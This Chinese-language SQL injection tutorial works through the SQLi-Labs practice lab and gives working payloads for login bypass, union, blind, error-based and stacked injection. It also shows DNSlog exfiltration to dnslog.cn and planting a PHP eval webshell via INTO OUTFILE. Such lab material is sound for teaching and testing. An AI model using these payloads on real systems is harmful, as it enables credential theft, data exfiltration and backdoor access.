一文了解SQL注入方式
SQL注入是开发人员在开发中没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。
举一个简单实例:
SELECT * FROM user WHERE username='admin' AND password='passwd'
这是一个正常查询username和password,如果开发人员对输入的username没有进行处理,则可以进行绕过。使用' or 1=1#,查询语句就变成:SELECT * FROM user WHERE username=''or 1#' AND password='''' or 1=1 的意思true,#的意思注释后面的内容,从而可以进行绕过登录。
SQL注入在提交方式上分为 GET型,POST型,Cookie型,HTTP头部注入;
SQL注入在数据类型上分为数字型,字符型;
SQL注入在执行效果上分为报错注入,时间盲注,布尔盲注,联合查询,堆叠注入,分块注入,DNSlog回显注入。
我们从SQL-Libs开始重新去学习了解注入。
GET注入
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "
"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?>
从源码的sql语句中可以看到是需要闭合单引号进行注入,可以看到闭合'报错。
order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次类推。
union的作用是将两个select查询结果合并,程序在展示数据的时候通常只会取结果集的第一行数据,具体要看第二个参数是什么,只要让第一行查询结果为空,也就是让union左边的语句查询结果为空,右边查询结果就变成第一行,会打印在页面上。
所以这里让id=-1,使前面查询结果报错为空,执行后面select语句,将回显位打印出来。
可以看到回显位在2 3
改变2 3 的回显内容,可以获取到更多信息
接下来引用一个概念
在mysql5.0以上,默认定义了information_scheam数据库,用存储数据库元信息,有:schemata(数据库名),tables(表名)、columns(字段名)。
在schemata表中,schema_name用来存储数据库名。
在tables表中,table_schema和table_name分别存储数据库名和表名。
在columns表中,table_schema、table_name、column_name(字段名)
使用group_concat ,group_concat的作用是一次性显示出来,从上面的结果可以看到数据库名是security-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
将库中所有的表全部显示打印在回显位2上
打印列
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
打印值
-1' union select 1,group_concat(concat_ws(':',username,password)),3 from users --+
POST注入
先贴源码
<?php //including the Mysql connect parameters. include("../sql-connections/sqli-connect.php"); error_reporting(0); // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname); fwrite($fp,'Password:'.$passwd."\n"); fclose($fp); // connectivity @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysqli_query($con1,$sql); $row = mysqli_fetch_array($result); if($row) { //echo '<font color= "#0000ff">'; echo "
"; echo '<font color= "#FFFF00" font size = 4>'; //echo " You Have successfully logged in\n\n " ; echo '<font size="3" color="#0000ff">'; echo "
"; echo 'Your Login name:'. $row['username']; echo "
"; echo 'Your Password:' .$row['password']; echo "
"; echo "</font>"; echo "
"; echo "
"; echo '<img />'; echo "</font>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysqli_error($con1)); echo "</br>"; echo "</br>"; echo "</br>"; echo '<img />'; echo "</font>"; } } ?>
数据库查询语句为
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
这里我们可以尝试万能密码admin' or '1' ='1#登录
发现可以成功,原因是在我们提交username和password的值后,查询语句就变成
SELECT username, password FROM users WHERE username='admin' or '1'='1# and password='$passwd' LIMIT 0,1
这里1=1是等于true,并且#会将后面的语句注释掉,就可以万能密码登录这里注入与get方法一致,先判断回显位
接下来就和普通的注入一样,就不做深入。
盲注
盲注就是在注入过程中,数据不能回显出来,分为基于布尔盲注,基于时间盲注,基于报错盲注。
布尔盲注
这里可以利用逻辑判断进行,也就是通过页面上能够回显的东西来进行判断,这里注入的时候需用的函数left(),substr(),ascii()
left(a,b)函数
从左侧截取a的b位
left(database(),1)>'s'
这里意思是判断数据库第一位是否大于s,通过这样的判断,从而进行注入
substr(a,b,c)函数
从b位开始,截取字符串a的c长度。
ascii()
转换成asscii值
ascii(substr((select database()),1,1))=98
这里意思是,判断数据库第一个位置,第一个字符的ascii值是否是98
我们先看例子:
id=1,显示正常,id=1'报错,单引号报错注入
还是一样先判断字段数
在联合查询位置时,不会回显出
这里就可以尝试left()函数
http://172.16.70.24/sqli/Less-5/?id=1%27%20and%20left(database(),1)%20%3E%20%27a%27--+
可以看到回显出内容
http://172.16.70.24/sqli/Less-5/?id=1%27%20and%20left(database(),1)%20%3E%20%27s%27--+
可以看到输入>s时,无回显。这里就可以通过这种方法,将数据库名给猜解出来。同样可以利用substr()函数与ascii值来判断
http://172.16.70.24/sqli/Less-5/?id=1%27%20and%20ascii(substr((select%20database()),1,1))=65--+
65的ascii值转换字符是A,无回显
http://172.16.70.24/sqli/Less-5/?id=1%27%20and%20ascii(substr((select%20database()),1,1))=115--+
115的ascii值转换字符是s,有回显,说明数据库第一个字符是s,根据这种判断,可以注出数据库security。
获取表
http://172.16.70.24/sqli/Less-5/?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))=101--+
第一个表可以通过这种方式获得。
第二个获得方式,只是需要将limit 0,1改成1,1
limit(a,b)
a表示第一个返回偏移量从0开始,b表示返回最大的数目。
报错注入
通过构造特殊的语句,让信息通过报错提示而显示回来。
报错注入要注意3点count()计数,rand(),group by()分组,三者缺一不可。
先看下报错原理:
rand()用于产生0-1的随机数
floor(rand())固定值的0
floor(rand()*2)是0或1
concat()将同一列中不同数据进行拼接
再将之前的rand()函数结合查询information_schema.tables有多少表,会显示多少列
用group by进行分组
用count()统计个数
可以发现再执行一次就会报错
这是rand()不加随机因子,加上一个随机因子,发现每次都会报错,也就可以说明有了floor(rand(0)*2)以及别的条件就一定会报错。
为了验证猜想,我们再新建一个表进行查看,执行报错语句,未能报错。
添加记录,执行报错语句,一直到有3条数据后,执行发现报错
这里也就验证了floor(rand(0)2)报错条件是3条记录以上。这里我们通过实例来进行报错注入
http://172.16.70.24/sqli/Less-5/?id=-1' and (select 1 from (select count(),concat(0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name)a)--+
利用这个特性,去得到表,字段
表
http://172.16.70.24/sqli/Less-5/?id=-1' and (select 1 from (select count(),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)—+
想得到其他表还是改变limit 0,1的值,就可以爆出剩下表
http://172.16.70.24/sqli/Less-5/?id=-1' and (select 1 from (select count(),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 4,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)—+
得到users表
得到字段
http://172.16.70.24/sqli/Less-5/?id=-1' and (select 1 from (select count(),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+
得到所有值
http://172.16.70.24/sqli/Less-5/?id=-1' and (select 1 from (select count(),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+
上述是通过floor报错进行的注入
爆数据库:http://172.16.70.24/sqli/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a)--+
爆表:http://172.16.70.24/sqli/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a)--+
爆字段:http://172.16.70.24/sqli/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a)--+
爆值:http://172.16.70.24/sqli/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a)—+
还有如下几种报错函数进行注入:
1.通过ExtractValue报错
爆数据库:and extractvalue(1, concat(0x5c, (select database()),0x5c));
爆表:and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5c));
爆字段:and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns where table_name='users' limit 0,1),0x5c));
爆用户:and extractvalue(1, concat(0x5c, (select username from users limit 0,1),0x5c));
2.通过UpdateXml报错
爆数据库:and 1=(updatexml(1,concat(0x3a,(select database()),0x3a),1))
爆表:and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a),1))
爆字段:and 1=(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a),1))
爆用户:and 1=(updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1))
4.通过geometrycollection()报错
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.通过multipoint()报错
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.通过polygon()报错
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.通过multipolygon()报错
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.通过linestring()报错
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.通过multilinestring()报错
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.通过exp()报错
select * from test where id=1 and exp(~(select * from(select user())a));
时间盲注
一般时间时间盲注基于延迟注入比较多
常用的语句是If(ascii(substr(database(),1,1))>115,0,sleep(5))%23,这里就去查看延迟
如下实例
http://172.16.70.24/sqli/Less-5/?id=1%27%20and%20if(ascii(substr(database(),1,1))=116,1,sleep(5))—+
116asiic转t,可以看到延迟6000多毫秒
爆表
http://172.16.70.24/sqli/Less-5/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))—+
之后同正常注入查询的语句一样,接着爆字段,爆值就可以。
Dnslog注入
Dnslog也称为dns外带查询,可以通过dns解析记录,来得到回显的数据。一般在无法通过联合查询直接获取数据的情况下,只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的。而且使用sqlmap直接去跑出数据的话会被waf拦截并且封ip。
回显原理
这里简单的说下dnslog注入回显原理,我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。
sql盲注利用dnslog时,回显只能适用于windows系统,因为在进行dnslog回显时,需要用到load_file()这个函数,这个函数可以进行dns请求。
在mysql中my.ini还需要配置secure_file_priv为空或者指定目录。
payload:' and if((select load_file(concat('\\',(select database()),’.dnslog生成域名\abc'))),1,0)—+
这里我们实际去测试下
在dnslog下生成一个域名
http://172.16.70.24/sqli/Less-1/?id=1' and if((select load_file(concat('\\',(select database()),'.219rfs.dnslog.cn\abc'))),1,0)—+
可以看到在dnslog中回显出了数据库。
http://172.16.70.24/sqli/Less-1/?id=1' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.eb7bzy.dnslog.cn\abc'))),1,0)—+
可以看到得出表,这里需要注意的是每次注入需要更换一次域名
后面注入数据就不再多做演示。
文件导入数据库
上面提到load_flie()导出文件,接下来看load data infile导入数据库。
Load data infile语句用于高速的从一个文本文件中读取,并装入一个表中,文件名必须为一个文字字符串。这种利用方法上是有了数据库权限,可以将系统文件利用load data infile导入到数据库中,从而实现getshell。
利用方式及条件
Select …into outfile ‘file_name’
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此必须拥有file权限,才能使用此语法。
filename不能是一个已经存在的文件
条件:
1.知道网站的物理路径;
2.高权限数据库用户;
3.load_file()开启,即secure_file_priv没有限制;
4.网站路径有写入权限
两种方式可以利用
1.将select内容导入到文件中。
Select version() into outfile “C:\phpstudy\sqli-libs\1.php”
可以将version()换成一句话<?php @eval($_POST[1])?>,然后可以用蚁剑直接连接。
我们看下实例:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"
是'))闭合方式
Order by 查询
按照正常的注入用union select into outfile 先写入一个phpinfo文件。
http://192.168.20.84/sqli/Less-7/?id=1%27))%20UNION%20SELECT%201,2,%22%3C?php%20phpinfo();?%3E%22%20INTO%20OUTFILE%20%22C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/info.php%22—+
访问info.php,发现写入成功
尝试写入一句话木马
http://192.168.20.84/sqli/Less-7/?id=1%27))%20UNION%20SELECT%201,2,%22%3C?php%20@eval($_POST[%27a%27]);?%3E%22%20INTO%20OUTFILE%20%22C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/12.php%22--+
菜刀连接
宽字节注入
如下实例,先看源码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "
";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FF00">';
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
http://172.16.70.19/sqli/Less-32/?id=-1%df%27union%20select%201,user(),3—+
堆叠注入
union联合注入也是将两条语句合并在一起,区别就在与union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
mysql相关堆叠注入的基本操作
1.新建表
Select * from users where id=1;create table test like users;
Select * from users where id=1;drop table test;
3.修改数据
Select * from users where id=1;insert into users(id, username,password) values(’20’,’qq’,’qq’);
看下列实例:
http://172.16.70.19/sqli/Less-38/?id=1%27;insert%20into%20users(id,username,password)%20values%20(%27100%27,%27123%27,%271234%27)—+